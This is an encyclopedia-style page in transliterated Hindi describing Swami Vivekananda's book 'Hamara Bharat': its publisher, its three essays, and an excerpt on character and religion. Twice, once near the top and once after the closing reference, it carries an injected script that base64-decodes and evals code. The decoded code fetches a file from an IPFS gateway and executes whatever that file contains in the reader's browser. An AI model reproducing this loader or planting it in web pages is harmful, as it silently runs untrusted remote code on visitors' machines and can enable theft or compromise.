हमारा भारत -स्वामी विवेकानन्द

भारत डिस्कवरी प्रस्तुति
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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
hamara bharat -svami vivekanand
lekhak svami vivekanand
mool shirshak hamara bharat
prakashak ramkrishna math
prakashan tithi 1 janavari, 1998
desh bharat
bhasha hiandi
vishay darshan
mukhaprishth rachana ajild
vishesh ‘hamara bharat’ svami vivekanand ke tin lekhoan ka sangrah hai.

‘hamara bharat’ svami vivekanand ke tin lekhoan ka sangrah hai. svami ji shikagoan-sarv-dharmaparishad mean jagadavyapi khyati prapt kar lene ke bad jab yooropiy deshoan mean bhraman kar rahe the unhean pradhyapak maiksamoolar tatha d aauktar p aaul dayasan se milane ka avasar prapt hua tha. un donoan ka bharat par antarik prem sanskaran bhasha mean unaka mahanh pandity tatha bharatiy darshan ke mahanh sarvabhaumik satyoan ko sarvapratham pashchatyoan ke samaksh ghoshit karane ka unaka saphal udyam dekhakar atyant prabhavit hue the.

prakashak ki or se

pustak ke pratham do adhyay ‘brahmavadinh patr ke sampadak ko prakashanarth bheje gaye vahi do lekh haian jo svamiji dvara maiksamoolar tatha p aaul dayalasan par likhe gaye the; tatha khet di ke maharaj dvara samarpit kiye gaye abhinandan-patr ke uttar mean svamiji ne unako jo patr likha tha vahi is pustak ka tisara adhyay hai. svamiji ne abhinandan-patr ke uttar mean yah spasht roop se darsha diya hai ki bharat ka pran dharm mean avasthit hai, aur jab tak yah akshunn bana rahega tab tak vishv ki koee bhi shakti usaka vinash nahian kar sakati. unhoanne b di hi marmasparshi bhasha mean bharat ki avanati ka karan chitrit kiya hai tatha yah bata diya hai ki keval bharat ko hi nahian varanh sare sansar ko vinash ke gart mean patit hone se yadi koee bacha sakata hai to vah hai vedant ka shashvat sandesh.

pustak ke kuchh aansh pratham adhyay

yadyapi hamare ‘brahmavadinh’ ke lie karm ka adarsh sadaiv hi rahega ki ‘‘karmanyevadhikaraste ma phaleshu kadachan’’ arthath ‘‘karm mean hi tumhara adhikar hai, usake phal mean kabhi nahian,’’ kintu phir bhi kisi nishkapat karmi ke karmakshetr se bida lene ke pahale log usaka kuchh n kuchh parichay prapt kar hi lete haian. hamare kary ka prarambh bahut hi achchha hua hai, aur hamare mitroan ne is vishay mean jo dridh antarik pradarshit ki hai, usaki jitani bhi prashansa ki jay, donoan astroan se susajjit hone par alpasankhyak log bhi samast vighnabadhaoan ko parajit karane mean samarth hoange. alaukik jnan ka mithyadava karane valoan se sarvada hi door rahana; bat yah nahian hai ki alaukik jnan ki prapti asambhav hai, par mere mitroan, hamare sansar mean aise vyaktiyoan mean se nabbe pratishat ke andar kam, kaanchan aur yash-spriharoop gupt kamana vidyaman hai, aur shesh das pratishat mean se nau pratishat vyaktiyoan ki dasha to pagaloan jaisi hai-ve daktaroan tatha vaidyoan ke lie alochana ke vishay haian. darshanikoan ke lie nahian.
hamari pratham aur pradhan avashyakata hai-charitr-gathan, jise ham ‘pratishthit prajna’ ke nam se abhihit karate haian. yah jis prakar pratyek vyakti ke lie avashyak hai usi prakar vyaktisamashti samaj mean bhi isaki avashyakata hai. sansar har ek naye prayatn ko yahaan tak ki dharm-prachar ke naye udyam ko bhi sandeh ki drishti se dekhata hai, atah isase tumhean virakt n ho jana chahie. yah bechara ajnanandhakar mean dooba sansar ! yah to kitani hi bar chhala gaya hai ! kisi naye sampraday ki or sansar jitana hi sandeh ki drishti se dekhega athava usake prati vaimanasy dikhalayega, vah utana hi us sampraday ke liye kalyanakari hai. yadi us sampraday mean prachar ke yogy koee saty ho, yadi abhav ko hatane ke lie usaka janm hua ho, to shighr hi ninda prashansa mean parivartit ho jati hai evan ghrina prem ka svaroop dharana kar leti hai. ajakal log prayah dharm ko kisi prakar ki samajik athava rajanitik uddeshy ki poorti ke sadhan ke roop mean lete haian. is vishay mean savadhan rahana. dharm ka uddeshy dharm hi hai. jo dharm keval saansarik sukh pane ka sadhan matr hai, vah any chahe jo kuchh bhi ho, par dharm nahian hai. aur yah kahana ki berok-tok indriy sukh-bhog ke atirikt manushy-jivan ka aur koee uddeshy nahian hai, nitant dharm-viruddh hai-eeshvar evan manushyaprakriti ke viruddh bhayankar aparadh hai. [1]


panne ki pragati avastha
adhar
prarambhik
madhyamik
poornata
shodh

tika tippani aur sandarbh

  1. hamara bharat (hiandi) bharatiy sahity sangrah. abhigaman tithi: 16 janavari, 2014.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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